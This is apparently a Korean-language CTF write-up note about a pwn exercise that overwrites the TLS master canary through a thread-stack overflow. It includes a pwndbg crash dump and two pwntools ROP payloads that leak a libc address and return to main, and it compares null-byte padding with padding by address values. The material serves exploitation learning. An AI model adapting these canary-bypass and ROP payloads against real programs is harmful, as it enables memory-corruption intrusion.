when overwrite mastercanary padding
우리가 새로운 스레드 영역에서는 tls 영역이 스택과 가까워서 stack overflow로 mastercanary를 덮을 수 있다고 배웠다. 그리고 나도 다음과 같이해서 실제로 덮은 뒤에 bof를 통해 ROP 체인으로 main으로 돌아올려고 하는데
C
pwndbg> c
Continuing.
Reading /usr/lib/debug/.build-id/49/0fef8403240c91833978d494d39e537409b92e.debug from remote target...
[New Thread 27788.27857]
Thread 2 "prob" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 27788.27857]
0x00007ffff7e385b0 in __libc_calloc (n=<optimized out>, elem_size=<optimized out>) at ./malloc/malloc.c:3658
Download failed: Invalid argument. Continuing without source file ./malloc/./malloc/malloc.c.
3658 ./malloc/malloc.c: No such file or directory.
Download failed: Invalid argument. Continuing without source file ./malloc/./malloc/malloc.c.
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────
RAX 0x7ffff7facc80 (main_arena) ◂— 0
RBX 0
RCX 0x7ffff7eb0aab (mprotect+11) ◂— cmpq $-0xfff, %rax
RDX 1
RDI 0x11
RSI 0x10
R8 0xffffffff
R9 0
R10 0xffffffffffffffc0
R11 0x206
R12 0x110
R13 0x404d00 ◂— 1
R14 0
R15 0
RBP 0x7ffff758d640 ◂— 0
RSP 0x7ffff7d8dc10 —▸ 0x7ffff7d8e640 ◂— 'AAAAAAAAAAAAAAAA'
RIP 0x7ffff7e385b0 (calloc+144) ◂— movq 8(%rbx), %rbp
─────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────
► 0x7ffff7e385b0 <calloc+144> movq 8(%rbx), %rbp <Cannot dereference [8]>
0x7ffff7e385b4 <calloc+148> andq $0xfffffffffffffff8, %rbp
0x7ffff7e385b8 <calloc+152> cmpq %rax, %r13
0x7ffff7e385bb <calloc+155> je calloc+206 <calloc+206>
0x7ffff7e385bd <calloc+157> movq 0x173dcc(%rip), %rax RAX, [mp_+48]
0x7ffff7e385c4 <calloc+164> leaq (, %rax, 4), %rcx
0x7ffff7e385cc <calloc+172> negq %rcx
0x7ffff7e385cf <calloc+175> testq %rax, %rax
0x7ffff7e385d2 <calloc+178> movq $18446744073642442752, %rax RAX => -67108864
0x7ffff7e385d9 <calloc+185> cmoveq %rax, %rcx
0x7ffff7e385dd <calloc+189> andq %rbx, %rcx
───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ rsp 0x7ffff7d8dc10 —▸ 0x7ffff7d8e640 ◂— 'AAAAAAAAAAAAAAAA'
01:0008│ 0x7ffff7d8dc18 —▸ 0x7ffff7ea68d4 (write+100) ◂— movq 8(%rsp), %rax
뭔지 모르겠는데 자꾸 다시 실행되는 main 문에서 오류가 발생한다.
따라서 다른 방식으로 풀고 다른 사람 writeup을 보니 그냥 대놓고 main으로 리턴해서 풀고 있는 것이다. 그래서 확인해보니
Python
#다른 사람 writeup
payload = b"A" * 0x108 + p64(0xAABB00) + p64(0x404C00) + p64(0x00000000004013b3) + p64(read_got) + p64(puts_plt) + p64(main)
payload = payload.ljust(0x900, b'\x00')
payload += b"A" * 0x10 + p64(0x404000)
payload += b"A" * 0x10 + p64(0xAABB00)
#내가 실패한 페이로드
payload = b"A" * 0x108 + p64(0xAABB00) + p64(0x404C00) + p64(0x00000000004013b3) + p64(read_got) + p64(puts_plt)+ p64(main)
payload += p64(0x404D00) * ( ( 0x900 - 0x110 -0x8*5 ) // 0x8 )
payload += b"A" * 0x10 + p64(0x404000)
payload += b"A" * 0x10 + p64(0xAABB00)다음과 같이 나는 tls 영역까지 p64(0x404D00)을 넣어서 그냥 패딩을 했었다. 근데
다른 사람은 payload.ljust(0x900, b'\x00') 으로 그냥 널바이트로 패딩을 했다.
이차이가 어딘가에서 null인지 확인할때 문제가 생긴 것 같았다…
앞으로 패딩 할때는 특별한 상황아니면, null로 하자..